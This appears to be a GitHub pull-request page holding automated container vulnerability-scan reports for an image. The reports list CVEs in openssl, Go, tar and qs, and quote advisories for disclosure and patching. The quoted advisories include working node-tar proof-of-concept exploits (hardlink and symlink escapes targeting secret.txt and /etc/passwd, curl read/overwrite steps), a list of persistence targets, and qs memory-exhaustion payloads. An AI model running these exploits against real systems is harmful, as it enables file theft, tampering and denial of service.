vulnerabilitiescritical: 1 high: 5 medium: 17 low: 1
critical: 1 high: 3 medium: 0 low: 0 openssl 3.5.4-r0 (apk)

pkg:apk/alpine/openssl@3.5.4-r0?os_name=alpine&os_version=3.23

critical : CVE--2025--15467

Affected range<3.5.5-r0
Fixed version3.5.5-r0
EPSS Score0.662%
EPSS Percentile71st percentile
Description

high : CVE--2025--69421

Affected range<3.5.5-r0
Fixed version3.5.5-r0
EPSS Score0.059%
EPSS Percentile19th percentile
Description

high : CVE--2025--69420

Affected range<3.5.5-r0
Fixed version3.5.5-r0
EPSS Score0.070%
EPSS Percentile21st percentile
Description

high : CVE--2025--69419

Affected range<3.5.5-r0
Fixed version3.5.5-r0
EPSS Score0.056%
EPSS Percentile18th percentile
Description
critical: 0 high: 6 medium: 0 low: 0 stdlib 1.23.12 (golang)

pkg:golang/stdlib@1.23.12

high : CVE--2025--61729

Affected range<1.24.11
Fixed version1.24.11
EPSS Score0.017%
EPSS Percentile3rd percentile
Description

Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

high : CVE--2025--61726

Affected range<1.24.12
Fixed version1.24.12
EPSS Score0.030%
EPSS Percentile8th percentile
Description

The net/url package does not set a limit on the number of query parameters in a query.

While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.

high : CVE--2025--61725

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.031%
EPSS Percentile8th percentile
Description

The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

high : CVE--2025--61723

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.038%
EPSS Percentile11th percentile
Description

The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

This affects programs which parse untrusted PEM inputs.

high : CVE--2025--58188

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.018%
EPSS Percentile4th percentile
Description

Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

This affects programs which validate arbitrary certificate chains.

high : CVE--2025--58187

Affected range<1.24.9
Fixed version1.24.9
EPSS Score0.018%
EPSS Percentile4th percentile
Description

Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

This affects programs which validate arbitrary certificate chains.

critical: 0 high: 3 medium: 0 low: 0 tar 7.5.1 (npm)

pkg:npm/tar@7.5.1

high 8.8: CVE--2026--23950 Improper Handling of Unicode Encoding

Affected range<=7.5.3
Fixed version7.5.4
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
EPSS Score0.015%
EPSS Percentile3rd percentile
Description

TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS

AUTHOR: Tomás Illuminati

Details

A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.

// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
    paths =
      isWindows ?
        ['win32 parallelization disabled']
      : paths.map(p => {
          return stripTrailingSlashes(
            join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
          ).toLowerCase()
        })

In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:

bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x   3 testuser  staff    96 Jan 19 01:25 .
drwxr-x---+ 82 testuser  staff  2624 Jan 19 01:25 ..
-rw-r--r--   1 testuser  staff    16 Jan 19 01:26 collision_test_ss
bash-3.2$ 

PoC

const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
    path: 'collision_ss',
    mode: 0o644,
    size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
    path: 'collision_ß',
    mode: 0o644,
    size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
    cwd: exploitDir,
    // Ensure jobs is high enough to allow parallel processing if locks fail
    jobs: 8 
});

stream.pipe(extract);

extract.on('end', () => {
    console.log('[*] Extraction complete');

    // Check what exists
    const files = fs.readdirSync(exploitDir);
    console.log('[*] Files in exploit dir:', files);
    files.forEach(f => {
        const p = path.join(exploitDir, f);
        const stat = fs.statSync(p);
        const content = fs.readFileSync(p, 'utf8');
        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
    });

    if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
        console.log('\[*] GOOD');
    } else {
        console.log('[-] No collision');
    }
});

Impact

This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.


Remediation

Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').

Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.


high 8.2: CVE--2026--24842 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range<7.5.7
Fixed version7.5.7
CVSS Score8.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
EPSS Score0.025%
EPSS Percentile6th percentile
Description

Summary

node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.

Details

The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently:

Security check in [STRIPABSOLUTEPATH]:

const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
if (resolved.startsWith('../')) { /* block */ }

Hardlink creation in [HARDLINK]:

const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);

Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd.

  • Security check resolves the linkpath relative to the entry's parent directory: a/b/c/d/ + ../../../../etc/passwd = etc/passwd. No ../ prefix, so it passes.

  • Hardlink creation resolves the linkpath relative to the extraction directory (this.cwd): /var/app/uploads/ + ../../../../etc/passwd = /etc/passwd. This escapes to the system's /etc/passwd.

The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.

PoC

Setup

Create a new directory with these files:

poc/
├── package.json
├── secret.txt          ← sensitive file (target)
├── server.js           ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/            ← created automatically by server.js
    └── (extracted files go here)

package.json

{ "dependencies": { "tar": "^7.5.0" } }

secret.txt (sensitive file outside uploads/)

DATABASE_PASSWORD=supersecret123

server.js (vulnerable file upload server)

const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');

const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/upload') {
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', async () => {
      fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));
      await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
      res.end('Extracted\n');
    });
  } else if (req.method === 'GET' && req.url === '/read') {
    // Simulates app serving extracted files (e.g., file download, static assets)
    const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
    if (fs.existsSync(targetPath)) {
      res.end(fs.readFileSync(targetPath));
    } else {
      res.end('File not found\n');
    }
  } else if (req.method === 'POST' && req.url === '/write') {
    // Simulates app writing to extracted file (e.g., config update, log append)
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', () => {
      const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
      if (fs.existsSync(targetPath)) {
        fs.writeFileSync(targetPath, Buffer.concat(chunks));
        res.end('Written\n');
      } else {
        res.end('File not found\n');
      }
    });
  } else {
    res.end('POST /upload, GET /read, or POST /write\n');
  }
}).listen(PORT, () => console.log(`http://localhost:${PORT}`));

create-malicious-tar.js (attacker creates exploit TAR)

const fs = require('fs');

function tarHeader(name, type, linkpath = '', size = 0) {
  const b = Buffer.alloc(512, 0);
  b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);
  b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);
  b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);
  b.write('        ', 148);
  b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;
  if (linkpath) b.write(linkpath, 157);
  b.write('ustar\x00', 257); b.write('00', 263);
  let sum = 0; for (let i = 0; i < 512; i++) sum += b[i];
  b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
  return b;
}

// Hardlink escapes to parent directory's secret.txt
fs.writeFileSync('malicious.tar', Buffer.concat([
  tarHeader('d/', 'dir'),
  tarHeader('d/x', 'link', '../secret.txt'),
  Buffer.alloc(1024)
]));
console.log('Created malicious.tar');

Run

# Setup
npm install
echo "DATABASE_PASSWORD=supersecret123" > secret.txt

# Terminal 1: Start server
node server.js

# Terminal 2: Execute attack
node create-malicious-tar.js
curl -X POST --data-binary @malicious.tar http://localhost:3000/upload

# READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read
# Returns: DATABASE_PASSWORD=supersecret123

# WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write

# Confirm secret.txt was modified
cat secret.txt

Impact

An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:

Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process.

Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.

Remote Code Execution / Server Takeover

Attack Vector Target File Result
SSH Access ~/.ssh/authorized_keys Direct shell access to server
Cron Backdoor /etc/cron.d/*, ~/.crontab Persistent code execution
Shell RC Files ~/.bashrc, ~/.profile Code execution on user login
Web App Backdoor Application .js, .php, .py files Immediate RCE via web requests
Systemd Services /etc/systemd/system/*.service Code execution on service restart
User Creation /etc/passwd (if running as root) Add new privileged user

Data Exfiltration & Corruption

  1. Overwrite arbitrary files via hardlink escape + subsequent write operations
  2. Read sensitive files by creating hardlinks that point outside extraction directory
  3. Corrupt databases and application state
  4. Steal credentials from config files, .env, secrets

high 8.2: CVE--2026--23745 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range<=7.5.2
Fixed version7.5.3
CVSS Score8.2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N
EPSS Score0.007%
EPSS Percentile0th percentile
Description

Summary

The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets.

Details

The vulnerability exists in src/unpack.ts within the [HARDLINK] and [SYMLINK] methods.

1. Hardlink Escape (Arbitrary File Overwrite)

The extraction logic uses path.resolve(this.cwd, entry.linkpath) to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (entry.linkpath) is an absolute path, path.resolve ignores the first argument (this.cwd) entirely and returns the absolute path.

The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., /etc/passwd) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.

2. Symlink Poisoning

The extraction logic passes the user-supplied entry.linkpath directly to fs.symlink without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (../../), even when secure extraction defaults are used.

PoC

The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to /etc/passwd). It then extracts the archive using standard node-tar settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.

const fs = require('fs')
const path = require('path')
const tar = require('tar')

const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'

// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')

// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
  path: 'exploit_hard',
  type: 'Link',
  size: 0,
  linkpath: secret 
})
h1.encode()

// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
  path: 'exploit_sym',
  type: 'SymbolicLink',
  size: 0,
  linkpath: targetSym 
})
h2.encode()

// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))

console.log('[*] Extracting malicious tarball...')

// 3. Extract with default secure settings
tar.x({
  cwd: out,
  file: tarFile,
  preservePaths: false
}).then(() => {
  console.log('[*] Verifying payload...')

  // Test Hardlink Overwrite
  try {
    fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
    
    if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
      console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
    } else {
      console.log('[-] Hardlink failed')
    }
  } catch (e) {}

  // Test Symlink Poisoning
  try {
    if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
      console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
    } else {
      console.log('[-] Symlink failed')
    }
  } catch (e) {}
})

Impact

  • Arbitrary File Overwrite: An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.
  • Remote Code Execution (RCE): In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all Link and SymbolicLink tar entries from extracted packages.)
critical: 0 high: 2 medium: 0 low: 0 tar 1.35-r4 (apk)

pkg:apk/alpine/tar@1.35-r4?os_name=alpine&os_version=3.23

high : CVE--2026--24842

Affected range<=1.35-r4
Fixed versionNot Fixed
EPSS Score0.025%
EPSS Percentile6th percentile
Description

high : CVE--2018--20834

Affected range<=1.35-r4
Fixed versionNot Fixed
EPSS Score0.762%
EPSS Percentile73rd percentile
Description
critical: 0 high: 1 medium: 0 low: 0 qs 6.14.0 (npm)

pkg:npm/qs@6.14.0

high 8.7: CVE--2025--15284 Improper Input Validation

Affected range<6.14.1
Fixed version6.14.1
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.163%
EPSS Percentile37th percentile
Description

Summary

The arrayLimit option in qs does not enforce limits for bracket notation (a[]=1&a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit for DoS protection are vulnerable.

Details

The arrayLimit option only checks limits for indexed notation (a[0]=1&a[1]=2) but completely bypasses it for bracket notation (a[]=1&a[]=2).

Vulnerable code (lib/parse.js:159-162):

if (root === '[]' && options.parseArrays) {
    obj = utils.combine([], leaf);  // No arrayLimit check
}

Working code (lib/parse.js:175):

else if (index <= options.arrayLimit) {  // Limit checked here
    obj = [];
    obj[index] = leaf;
}

The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.

PoC

Test 1 - Basic bypass:

npm install qs
const qs = require('qs');
const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
console.log(result.a.length);  // Output: 6 (should be max 5)

Test 2 - DoS demonstration:

const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length);  // Output: 10000 (should be max 100)

Configuration:

  • arrayLimit: 5 (test 1) or arrayLimit: 100 (test 2)
  • Use bracket notation: a[]=value (not indexed a[0]=value)

Impact

Denial of Service via memory exhaustion. Affects applications using qs.parse() with user-controlled input and arrayLimit for protection.

Attack scenario:

  1. Attacker sends HTTP request: GET /api/search?filters[]=x&filters[]=x&...&filters[]=x (100,000+ times)
  2. Application parses with qs.parse(query, { arrayLimit: 100 })
  3. qs ignores limit, parses all 100,000 elements into array
  4. Server memory exhausted → application crashes or becomes unresponsive
  5. Service unavailable for all users

Real-world impact:

  • Single malicious request can crash server
  • No authentication required
  • Easy to automate and scale
  • Affects any endpoint parsing query strings with bracket notation

Suggested Fix

Add arrayLimit validation to the bracket notation handler. The code already calculates currentArrayLength at line 147-151, but it's not used in the bracket notation handler at line 159.

Current code (lib/parse.js:159-162):

if (root === '[]' && options.parseArrays) {
    obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
        ? []
        : utils.combine([], leaf);  // No arrayLimit check
}

Fixed code:

if (root === '[]' && options.parseArrays) {
    // Use currentArrayLength already calculated at line 147-151
    if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
        throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
    }
    
    // If limit exceeded and not throwing, convert to object (consistent with indexed notation behavior)
    if (currentArrayLength >= options.arrayLimit) {
        obj = options.plainObjects ? { __proto__: null } : {};
        obj[currentArrayLength] = leaf;
    } else {
        obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
            ? []
            : utils.combine([], leaf);
    }
}

This makes bracket notation behaviour consistent with indexed notation, enforcing arrayLimit and converting to object when limit is exceeded (per README documentation).

@github-actions

github-actions Bot commented Feb 6, 2026

Copy link
Copy Markdown

🔍 Vulnerabilities of ghcr.io/mkaraki/illuststore-viewer:pr-181

📦 Image Reference ghcr.io/mkaraki/illuststore-viewer:pr-181
digestsha256:c336c8a4a8354ea3515db20b865cef83ca70b400a5683c23e54e07c9180a7dc1
vulnerabilitiescritical: 1 high: 15 medium: 30 low: 1 unspecified: 1
platformlinux/amd64
size203 MB
packages572
📦 Base Image php:8.4-zts-alpine
also known as
  • 8.4-zts-alpine3.23
  • 8.4.16-zts-alpine
  • 8.4.16-zts-alpine3.23
digestsha256:aba28ac8707ed6e098480da935de6846f621250566a8bed216a419b57c8ad103
vulnerabilitiescritical: 1 high: 5 medium: 17 low: 1
critical: 1 high: 3 medium: 8 low: 0 openssl 3.5.4-r0 (apk)

pkg:apk/alpine/openssl@3.5.4-r0?os_name=alpine&os_version=3.23

critical : CVE--2025--15467

Affected range<3.5.5-r0
Fixed version3.5.5-r0
EPSS Score0.662%
EPSS Percentile71st percentile
Description

high : CVE--2025--69421

Affected range<3.5.5-r0
Fixed version3.5.5-r0
EPSS Score0.059%
EPSS Percentile19th percentile
Description

high : CVE--2025--69420

Affected range<3.5.5-r0
Fixed version3.5.5-r0
EPSS Score0.070%
EPSS Percentile21st percentile
Description

high : CVE--2025--69419

Affected range<3.5.5-r0
Fixed version3.5.5-r0
EPSS Score0.056%
EPSS Percentile18th percentile
Description

medium : CVE--2025--11187

Affected range<3.5.5-r0
Fixed version3.5.5-r0
EPSS Score0.011%
EPSS Percentile1st percentile
Description

medium : CVE--2025--66199

Affected range<3.5.5-r0
Fixed version3.5.5-r0
EPSS Score0.059%
EPSS Percentile18th percentile
Description

medium : CVE--2025--15468

Affected range<3.5.5-r0
Fixed version3.5.5-r0
EPSS Score0.048%
EPSS Percentile15th percentile
Description

medium : CVE--2026--22795

Affected range<3.5.5-r0
Fixed version3.5.5-r0
EPSS Score0.015%
EPSS Percentile3rd percentile
Description

medium : CVE--2025--15469

Affected range<3.5.5-r0
Fixed version3.5.5-r0
EPSS Score0.005%
EPSS Percentile0th percentile
Description

medium : CVE--2026--22796

Affected range<3.5.5-r0
Fixed version3.5.5-r0
EPSS Score0.070%
EPSS Percentile22nd percentile
Description

medium : CVE--2025--68160

Affected range<3.5.5-r0
Fixed version3.5.5-r0
EPSS Score0.014%
EPSS Percentile2nd percentile
Description

medium : CVE--2025--69418

Affected range<3.5.5-r0
Fixed version3.5.5-r0
EPSS Score0.005%
EPSS Percentile0th percentile
Description
critical: 0 high: 6 medium: 9 low: 0 unspecified: 1stdlib 1.23.12 (golang)

pkg:golang/stdlib@1.23.12

high : CVE--2025--61729

Affected range<1.24.11
Fixed version1.24.11
EPSS Score0.017%
EPSS Percentile3rd percentile
Description

Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

high : CVE--2025--61726

Affected range<1.24.12
Fixed version1.24.12
EPSS Score0.030%
EPSS Percentile8th percentile
Description

The net/url package does not set a limit on the number of query parameters in a query.

While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.

high : CVE--2025--61725

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.031%
EPSS Percentile8th percentile
Description

The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

high : CVE--2025--61723

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.038%
EPSS Percentile11th percentile
Description

The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

This affects programs which parse untrusted PEM inputs.

high : CVE--2025--58188

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.018%
EPSS Percentile4th percentile
Description

Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

This affects programs which validate arbitrary certificate chains.

high : CVE--2025--58187

Affected range<1.24.9
Fixed version1.24.9
EPSS Score0.018%
EPSS Percentile4th percentile
Description

Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

This affects programs which validate arbitrary certificate chains.

medium : CVE--2025--61728

Affected range<1.24.12
Fixed version1.24.12
EPSS Score0.022%
EPSS Percentile5th percentile
Description

archive/zip uses a super-linear file name indexing algorithm that is invoked the first time a file in an archive is opened. This can lead to a denial of service when consuming a maliciously constructed ZIP archive.

medium : CVE--2025--61727

Affected range<1.24.11
Fixed version1.24.11
EPSS Score0.010%
EPSS Percentile1st percentile
Description

An excluded subdomain constraint in a certificate chain does not restrict the usage of wildcard SANs in the leaf certificate. For example a constraint that excludes the subdomain test.example.com does not prevent a leaf certificate from claiming the SAN *.example.com.

medium : CVE--2025--61730

Affected range<1.24.12
Fixed version1.24.12
EPSS Score0.024%
EPSS Percentile6th percentile
Description

During the TLS 1.3 handshake if multiple messages are sent in records that span encryption level boundaries (for instance the Client Hello and Encrypted Extensions messages), the subsequent messages may be processed before the encryption level changes. This can cause some minor information disclosure if a network-local attacker can inject messages during the handshake.

medium : CVE--2025--61724

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.022%
EPSS Percentile5th percentile
Description

The Reader.ReadResponse function constructs a response string through repeated string concatenation of lines. When the number of lines in a response is large, this can cause excessive CPU consumption.

medium : CVE--2025--58189

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.014%
EPSS Percentile2nd percentile
Description

When Conn.Handshake fails during ALPN negotiation the error contains attacker controlled information (the ALPN protocols sent by the client) which is not escaped.

medium : CVE--2025--58186

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.030%
EPSS Percentile8th percentile
Description

Despite HTTP headers having a default limit of 1MB, the number of cookies that can be parsed does not have a limit. By sending a lot of very small cookies such as "a=;", an attacker can make an HTTP server allocate a large amount of structs, causing large memory consumption.

medium : CVE--2025--58185

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.032%
EPSS Percentile9th percentile
Description

Parsing a maliciously crafted DER payload could allocate large amounts of memory, causing memory exhaustion.

medium : CVE--2025--47912

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.032%
EPSS Percentile9th percentile
Description

The Parse function permits values other than IPv6 addresses to be included in square brackets within the host component of a URL. RFC 3986 permits IPv6 addresses to be included within the host component, enclosed within square brackets. For example: "http://[::1]/". IPv4 addresses and hostnames must not appear within square brackets. Parse did not enforce this requirement.

medium : CVE--2025--58183

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.016%
EPSS Percentile3rd percentile
Description

tar.Reader does not set a maximum size on the number of sparse region data blocks in GNU tar pax 1.0 sparse files. A maliciously-crafted archive containing a large number of sparse regions can cause a Reader to read an unbounded amount of data from the archive into memory. When reading from a compressed source, a small compressed input can result in large allocations.

unspecified : CVE--2025--68121

Affected range<1.24.13
Fixed version1.24.13
Description

During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.

critical: 0 high: 3 medium: 1 low: 0 tar 7.5.1 (npm)

pkg:npm/tar@7.5.1

high 8.8: CVE--2026--23950 Improper Handling of Unicode Encoding

Affected range<=7.5.3
Fixed version7.5.4
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
EPSS Score0.015%
EPSS Percentile3rd percentile
Description

TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS

AUTHOR: Tomás Illuminati

Details

A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.

// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
    paths =
      isWindows ?
        ['win32 parallelization disabled']
      : paths.map(p => {
          return stripTrailingSlashes(
            join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
          ).toLowerCase()
        })

In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:

bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x   3 testuser  staff    96 Jan 19 01:25 .
drwxr-x---+ 82 testuser  staff  2624 Jan 19 01:25 ..
-rw-r--r--   1 testuser  staff    16 Jan 19 01:26 collision_test_ss
bash-3.2$ 

PoC

const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
    path: 'collision_ss',
    mode: 0o644,
    size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
    path: 'collision_ß',
    mode: 0o644,
    size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
